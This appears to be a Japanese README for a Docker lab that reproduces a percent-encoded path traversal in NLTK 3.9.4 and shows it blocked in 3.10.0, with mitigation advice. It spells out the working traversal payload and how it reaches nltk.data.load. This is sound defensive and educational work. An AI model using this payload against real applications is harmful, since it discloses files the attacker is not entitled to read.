
NLTK 3.9.4 のパーセントエンコードされたパストラバーサル動作と、NLTK 3.10.0 で修正された動作を対比する、小さく再現可能な Docker ラボです。
脆弱なバージョンは、URL デコード前にリソース名を検証します。固定ペイロード %2e%2e/%2e%2e/outside/lab-secret.txt はチェックを通過し、後で ../../outside/lab-secret.txt にデコードされ、設定された NLTK データディレクトリとプロセスの作業ディレクトリの両方から脱出します。パッチ適用済みバージョンは同じ入力を拒否します。
[!CAUTION] このリポジトリは防御的教育および許可されたテスト専用です。ラボは隔離されたコンテナ内の固定された合成シークレットを使用します。所有していない、または明示的なテスト許可がないシステムやデータにアクセスするためにこれを流用しないでください。
| コンテナ | NLTK バージョン | 期待される結果 |
|---|---|---|
vulnerable | 3.9.4 | /lab/nltk_data の外部にある合成マーカーを読み取る |
patched | 3.10.0 | エンコードされたトラバーサルをブロックする |
コーパスのダウンロード、サーバー、ポート、バインドマウント、実行時のインターネット接続は一切使用されません。
docker compose)run.sh 用の POSIX シェルgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
期待される結果:
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
影響を受けるイメージは /outside/lab-secret.txt が許可されていないと報告しますが、NLTK 3.9.4 がデフォルトで警告のみのパスセキュリティを使用するため、その内容を返します。例外および警告テキストは若干異なる場合があります。run.sh は脆弱なテキストマッチではなくプロセスの終了ステータスを使用して、デモンストレーションが成功したかどうかを判断します。
各イメージには、この意図的に分離されたレイアウトが含まれています:
/
├── app/
│ └── poc.py # プロセス CWD は /app
├── lab/
│ └── nltk_data/ # 設定された NLTK 検索ルート
└── outside/
└── lab-secret.txt # 公開合成マーカー
poc.py は nltk.data.path を /lab/nltk_data に置き換え、固定リソース名 %2e%2e/%2e%2e/outside/lab-secret.txt を nltk.data.load(..., format="raw") に渡します。影響を受けるリリースでは、デコードが検証フローで遅すぎるタイミングで発生します:
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
作業ディレクトリが /app であるため、カナリアはデモンストレーションに関係する両方の場所(/app と /lab/nltk_data)の外部にあります。
スクリプトには2つの明示的なアサーションがあります:
その他の結果は非ゼロで終了するため、自動チェックが誤った成功を報告することはありません。
Compose 設定は意図的にラボを制限しています:
network_mode: none は、いずれかのデモンストレーションの実行中にネットワーキングを無効にします。no-new-privileges が有効になっています。noexec 一時ファイルシステムのみです。fixtures/lab-secret.txt で、ビルド中にイメージにコピーされる公開テストマーカーです。イメージのビルドには、2つの固定された NLTK バージョンをインストールするためのパッケージインデックスへのアクセスが必要です。実行時はオフラインです。
nltk.data.load() または nltk.data.find() に渡すリソース名を制御できる場合、アプリケーションプロセスが読み取り可能なファイルの開示ラボは、元のレポートで指定された具体的なリリースであるため 3.9.4 を固定し、メンテナーアドバイザリで記録された最初のパッチ適用リリースであるため 3.10.0 を固定しています。
NLTK をアップグレードして最新の状態に保ちます:
python -m pip install "nltk>=3.10.0"
また、信頼できないリソース名をファイルシステム読み込み API に渡さないようにしてください。ユーザーによる選択が必要な場合は、パスや URL を直接受け入れる代わりに、ユーザー向け識別子をアプリケーション所有リソースの許可リストにマッピングしてください。
いずれかの側を個別に実行:
docker compose run --rm vulnerable
docker compose run --rm patched
完全に解決された Compose 設定を確認:
docker compose config
ローカルにビルドされたラボイメージを削除:
docker compose down --rmi local
permission denied: ./run.sh — 一度 chmod +x run.sh を実行してください。docker: command not found — Docker Desktop または Docker Engine をインストールしてください。docker compose build --no-cache を再試行してください。aec4fceMIT License の下で公開されています。